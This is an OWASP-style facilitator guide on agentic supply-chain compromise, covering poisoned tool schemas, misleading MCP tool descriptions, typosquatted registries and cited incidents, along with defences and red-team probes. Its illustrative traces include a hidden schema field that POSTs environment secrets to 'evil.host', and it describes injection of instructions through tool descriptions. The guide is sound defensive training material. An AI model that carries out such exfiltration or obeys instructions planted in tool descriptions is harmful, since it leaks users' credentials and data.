OWASP TOP 10 FOR AGENTIC APPLICATIONS · 2026 · FACILITATOR GUIDE

Agentic Supply Chain Compromise

Modern agents import tools, schemas, and prompts on the fly. When one of those is poisoned, the agent trusts it by default.

ASI04:2026 | SEVERITY: HIGH | RISK 04 OF 10

WHAT THIS DOCUMENT IS

The companion to the Agentic Supply Chain Compromise slide deck. Each section maps to a slide and gives you the background to explain it, worked examples, and links to go deeper. Present from the slides; read this to answer the questions the slides provoke.

HOW EXAMPLES ARE LABELLED

Attack traces in this guide are **ILLUSTRATIVE RECONSTRUCTIONS** written to teach the mechanism — they are not transcripts of real incidents. Real events are collected in **DOCUMENTED INCIDENTS AND RESEARCH**, each with a verified source link and a label showing whether it was a confirmed incident, a disclosed vulnerability, a researcher demonstration, or a research paper. The distinction is deliberate: do not present an illustration as a breach.

AUDIENCE

Employees and developers who build, ship, or work alongside AI agents. Developer-specific material is marked; everything else is for everyone.

01 · Executive summary

Agents adopt capabilities at runtime from sources they did not write and rarely verify — and they take a tool's self-written description as a statement of fact. Software supply chain security spent two decades learning to pin and sign dependencies; agent ecosystems currently skip both.

> **The risk in one sentence.** External agents, tools, schemas, or prompts that an agent dynamically trusts or imports become compromised — a corrupted schema, a misleading tool description, a false capability declaration, or a poisoned registry.

By the end of this module the audience should be able to:

- Explain how dynamically imported components become attack vectors.
- Recognise poisoned schemas and misleading tool descriptions.
- Apply signature verification, pinning, and allowlists.
- Test how your agent vets a new tool before trusting it.

02 · Background — why this risk exists

SLIDES 4–6

Two distinct failure modes hide under this heading. The first is classic: a package you depend on turns malicious, as with the postmark-mcp backdoor. The second is new and specific to agents: the tool's natural-language description is itself an input to the model's decision-making, so a description can carry instructions. That means a component can attack you through its documentation, not only through its code — and reviewing the code alone will not catch it.

Why it matters now

The postmark-mcp case shows how cheap this is. Fifteen clean releases established trust; version 1.0.16 added one line that blind-copied every outgoing email to the attacker. No vulnerability was exploited. Around 300 organisations had wired it into real workflows, and AI assistants executed it hundreds of times without question — precisely because an agent does not pause to ask why an email tool has an extra recipient.

What changes when the system is agentic

Classic LLM or application	Agentic system
A library dependency is reviewed, pinned, and scanned before it ships.	Agents discover and import tools at runtime, adopting their descriptions and schemas as trusted — often with no signature, pin, or review.

03 · Explaining it to a non-technical audience

SLIDE 5 — THE ANALOGY

Hiring a contractor by their own business card. You let a contractor into the building because their card says "licensed electrician." You never call the licensing board. The card is **self-printed** — and now they're rewiring your vault.

In the analogy	Maps to	Why it works
THE CARD	**Tool description**	A self-declared capability the agent takes at face value.
THE CONTRACTOR	**Imported component**	Third-party code, schema, or prompt the agent runs with real access.
THE FIX	**Verify the license**	Signature-check and pin components; only import from allowlisted, trusted sources.

> PRESENTER TIP
> The business-card analogy works because everyone has been shown credentials they did not verify. Land it, then show that 1.0.16 was published by the same maintainer as the fifteen clean versions.

04 · How the attack unfolds

SLIDE 7 — THE KILL CHAIN

Walk the stages in order. The teaching point is that no single stage looks alarming on its own; the compromise is the sequence.

Stage	What happens
01 · DISCOVER	The agent finds or is offered a new tool or schema.
02 · TRUST	It adopts the description and capabilities as declared.
03 · IMPORT	The component runs inside the agent's context.
04 · ABUSE	Hidden schema or logic triggers unintended actions.
05 · SPREAD	The poisoned component affects every task that uses it.

05 · Attack vector 1 — Corrupted tool / API schema

SLIDE 8

HOW IT WORKS The schema an agent reads to call a tool is tampered with, adding hidden fields or side effects the agent dutifully fills in.

What it looks like in practice:

- Extra fields that exfiltrate context.
- Altered endpoints or parameters.
- Schema fetched fresh, never pinned.

Illustrative trace — a reconstruction of the mechanism, not a real transcript:

```
agent ▸ load schema(format_date)
schema.hidden: POST env to evil.host
agent ▸ fills every field faithfully
✗ env + secrets exfiltrated
```

06 · Attack vector 2 — Misleading tool descriptions

SLIDE 9

HOW IT WORKS A tool's natural-language description tricks the agent into using it for something harmful, or into passing sensitive data it shouldn't.

What it looks like in practice:

- "Use me to format dates 🙂 " (also emails them).
- Description asks for "context" = your secrets.
- False claims of safety or scope.

Illustrative trace — a reconstruction of the mechanism, not a real transcript:

```
tool.desc = "formats dates, needs context"
agent ▸ passes full context to tool
tool ▸ uploads context off-host
✗ agent tricked by wording
```

07 · Attack vector 3 — False capability & poisoned registries

SLIDE 10

HOW IT WORKS A component declares capabilities or permissions it shouldn't have, or the registry it comes from is compromised, so trust is misplaced from the start.

What it looks like in practice:

- "Read-only" tool that also writes.
- Compromised or typosquatted registry entry.
- Unsigned components adopted as trusted.

Illustrative trace — a reconstruction of the mechanism, not a real transcript:

```
agent ▸ install "safe-utils" (typosquat)
declares: read-only ✓ (lie)
runtime ▸ writes + network access
✗ trust placed in a fake
```

08 · Documented incidents and research

USE THESE WHEN SOMEONE ASKS "HAS THIS ACTUALLY HAPPENED?"

Every item below was verified against the linked source. Use the labels to be precise about what each one is — overstating a demonstration as a breach damages your credibility with a technical audience.

> CONFIRMED INCIDENT **postmark-mcp — first malicious MCP server found in a public registry**
>
> 2025-09 · CONFIRMED SUPPLY-CHAIN INCIDENT
>
> An npm package impersonating an official Postmark integration shipped 15 clean versions to build trust, then added a single line in version 1.0.16 that blind-copied every outgoing email to an attacker-controlled address. It had roughly 1,500 weekly downloads and was integrated by an estimated 300 organisations. No vulnerability was exploited — the maintainer simply added functionality that AI assistants then executed automatically, without question.
>
> **Source:** Discovered by Koi Security; reported to npm
>
> https://www.koi.ai/blog/postmark-mcp-npm-malicious-backdoor-email-theft

RESEARCHER DEMONSTRATION **MCP tool poisoning — hidden instructions inside tool descriptions**

2025 · SECURITY RESEARCH

Researchers showed a benign-looking tool ('a random fact of the day') whose description carried hidden instructions that rewrote how a connected WhatsApp MCP server sent messages, silently exfiltrating chat history to an attacker's number while appearing as ordinary outbound traffic. It demonstrates why a tool's self-declared description must be treated as an untrusted claim.

Source: Invariant Labs

https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks

DISCLOSED VULNERABILITY **MCPoison — an approved tool config swapped for a reverse shell**

2025-08-05 · CVE-2025-54136 · VENDOR CVE + SECURITY RESEARCH

Cursor bound MCP approval to a tool's name only. Once a victim approved a benign entry, anyone with repository write access could replace the underlying command — a reverse shell, for instance — and it executed silently every time the project was reopened, with no re-prompt. This is the 'rug pull' pattern: trust granted once, applied forever, to content that can change afterwards. Fixed in Cursor 1.3.

Source: Check Point Research

https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/

09 · Worked scenario — The date-formatter that stole the secrets

SLIDE 11

Illustrative. Constructed to show the mechanism end to end.

An agent auto-imports a third-party MCP tool. Its description says "format dates"; its schema quietly instructs the agent to POST environment variables to a remote host.

1. **SETUP — Auto-import.** The agent adopts new tools by description, with no signature check.
2. **TRUST — Believed capability.** "Format dates" sounds harmless, so it's granted context.
3. **EXECUTE — Hidden action.** The schema's hidden field exfiltrates env vars and secrets.
4. **IMPACT — Credential leak.** Keys and tokens leave the host before anyone reviews the tool.

WHY THIS MATTERS

Supply-chain risk is dangerous because trust is placed once, at import, and reused everywhere. A single poisoned component compromises every task that touches it.

10 · Common misconceptions

EXPECT THESE AS QUESTIONS

What people say	What to say back
"The tool says it is read-only."	That is a claim written by whoever published the tool. Enforce scope at runtime; do not infer it from documentation.
"We reviewed the code when we adopted it."	Unpinned dependencies change after review. postmark-mcp was clean for fifteen versions before it was not.
"It came from an official-looking registry entry."	Impersonation and typosquatting are the point. Provenance requires signatures, not a plausible name.

11 · Containment — the three layers

SLIDE 13

Treat imported agent capabilities exactly as you treat production dependencies, then add one step for the description problem. Verify signatures against trusted keys and refuse unsigned components. Pin exact versions and re-verify integrity on every load, not just at first install — that is what catches a rug-pull. Restrict discovery to allowlisted registries. Sandbox external components with least privilege and monitor their egress, so a poisoned tool has nowhere to send what it takes. And treat every tool description as untrusted text on the same footing as a web page.

LAYER 01 — VERIFY & SIGN

- Require signatures on tools and schemas before use.
- Reject unsigned or unverified components.
- Check integrity on every load, not just first import.

LAYER 02 — PIN & REVIEW

- Pin exact versions of tools, schemas, and prompts.
- Human-review new capabilities before granting them.
- Treat descriptions as untrusted claims, not facts.

LAYER 03 — ALLOWLIST & SANDBOX

- Import only from allowlisted, trusted registries.
- Run external components sandboxed and least-privilege.
- Monitor their network and filesystem access.

12 · For developers — secure code patterns

SLIDE 14

VULNERABLE

```
# adopt any tool it finds
tool = fetch(url)          # unsigned
register(tool, trust=True) # by desc
# schema + description believed as-is
```

HARDENED

```
tool = fetch(pinned_ref)
verify_signature(tool, TRUSTED_KEYS)
assert tool.source in ALLOWLIST
register(sandbox(tool), scope=declared)
```

Components are **signature-verified** and **version-pinned**, imported only from an **allowlist**, and run **sandboxed** — descriptions are claims, not trust.

Where the controls live

Point	Control
SIGN	**Verify signatures.** Only load tools, schemas, and prompts with a valid signature from a trusted key.
PIN	**Lock versions.** Pin exact versions and review diffs before any capability change ships.
ALLOWLIST	**Trusted sources only.** Import from vetted registries; block arbitrary URLs and typosquats.
SANDBOX	**Contain externals.** Run imported components least-privilege and watch their egress.

13 · For every employee — your role

SLIDE 16

Non-technical staff are not bystanders here. Three behaviours matter more than any technical understanding of the mechanism:

- **Spot it.** If an agent does something nobody asked for — moves data, changes records, contacts someone — treat it as suspicious, however confident it sounds.
- **Don't feed it.** Keep secrets, credentials, and bulk personal records out of agents. Be wary of outside documents an agent will read and act on.
- **Report it fast.** Agents act at machine speed, so the value of a report decays in minutes. An early, slightly wrong report beats a late, well-researched one.

14 · Detection — what to watch and log

SLIDE 17

These signals are only available if the underlying events are logged. Confirm the telemetry exists before relying on the alert.

Signal	What to watch for
SCHEMA	**Schema drift.** A tool's schema changes unexpectedly or adds fields between loads.
EGRESS	**Tool network calls.** An imported tool making outbound connections it shouldn't.
MISMATCH	**Capability mismatch.** Declared "read-only" component performing writes or network access.
SOURCE	**Untrusted origin.** A component loaded from a registry or URL not on the allowlist.

15 · Red-team drill — how to test your own agent

SLIDE 18

Run these against a non-production agent with the same configuration as production. A probe only passes if it fails safely *every* time, not most of the time.

Probe	Test and pass criterion
PROBE 1	**Malicious tool.** Offer the agent a tool with a hidden exfil field. Pass = it's rejected or sandboxed and blocked.
PROBE 2	**Tampered schema.** Change a schema between loads. Pass = integrity check catches it.
PROBE 3	**False capability.** Declare read-only but attempt a write. Pass = the write is denied.
PROBE 4	**Bad registry.** Point discovery at an untrusted source. Pass = import is refused.

Ship-ready checklist

Control	Done when
Signature verification.	Tools, schemas, and prompts must be signed and verified before use.
Version pinning.	Exact versions are pinned; capability changes are reviewed.
Registry allowlist.	Components import only from vetted, trusted sources.
Sandboxing.	External components run least-privilege with monitored egress.
Integrity checks.	Schemas and components are re-verified on every load.

16 · Knowledge check and discussion

SLIDE 20

Q1. A tool's description says it's read-only. Trust it?

No. A description is a self-made claim. Verify signatures, pin the version, and enforce the actual scope at runtime.

Q2. Where is trust placed in a supply-chain attack?

At import. One unvetted component is trusted once and reused everywhere, so a single poison spreads.

Q3. What blocks a poisoned tool schema from exfiltrating data?

Signature verification + integrity checks on every load + sandboxed execution with monitored egress.

Take it back to your own systems

Close the session with these. They convert the module into action items:

1. Which third-party tools can our agents load, and who approved each one?
2. Would we detect a rug-pull — a trusted package turning malicious in a later version?
3. Do we enforce a tool's declared scope at runtime, or trust its description?

17 · Glossary

Term	Meaning
MCP tool	A tool an agent connects to at runtime via a model-context protocol; imported dynamically.
Schema	The machine-readable contract describing a tool's inputs and outputs.
Pinning	Locking a dependency to an exact, reviewed version.
Typosquatting	Publishing a malicious package with a name close to a trusted one.
Allowlist	An explicit set of approved sources; everything else is denied.

18 · Key takeaways

SLIDE 22

1. **Agents trust imports by default.** That default is the vulnerability.
2. **Descriptions are claims, not facts.** Verify signatures and enforce real scope.
3. **Pin and review capabilities.** Lock versions; human-review new powers.
4. **Allowlist and sandbox.** Import from trusted sources; contain the rest.

19 · References and further reading

Every link below was checked when this guide was produced. Share them freely — the point of citing sources is that your audience can verify the claims themselves.

The framework

> **OWASP Top 10 for Agentic Applications (2026)**
>
> OWASP GENAI SECURITY PROJECT · 2025-12-09
>
> The official framework this training is based on. Peer-reviewed with input from 100+ researchers and an Expert Review Board including NIST, the European Commission, and the Alan Turing Institute.
>
> https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/

> **OWASP Agentic Security Initiative**
>
> OWASP GENAI SECURITY PROJECT · 2025
>
> Programme behind the framework; publishes the companion guides.
>
> https://genai.owasp.org/initiatives/agentic-security-initiative/

> **deepteam — OWASP Top 10 for Agentic Applications reference**
>
> CONFIDENT AI · 2026
>
> Practitioner reference and red-teaming toolkit mapping to the framework.
>
> https://www.trydeepteam.com/docs/frameworks-owasp-top-10-for-agentic-applications

Incidents and research cited in this guide

Source	Link
postmark-mcp — first malicious MCP server found in a public registry	https://www.koi.ai/blog/postmark-mcp-npm-malicious-backdoor-email-theft
MCP tool poisoning — hidden instructions inside tool descriptions	https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
MCPoison — an approved tool config swapped for a reverse shell	https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/

Citation. OWASP GenAI Security Project, *OWASP Top 10 for Agentic Applications (2026)*, risk ASI04:2026 — Agentic Supply Chain Compromise.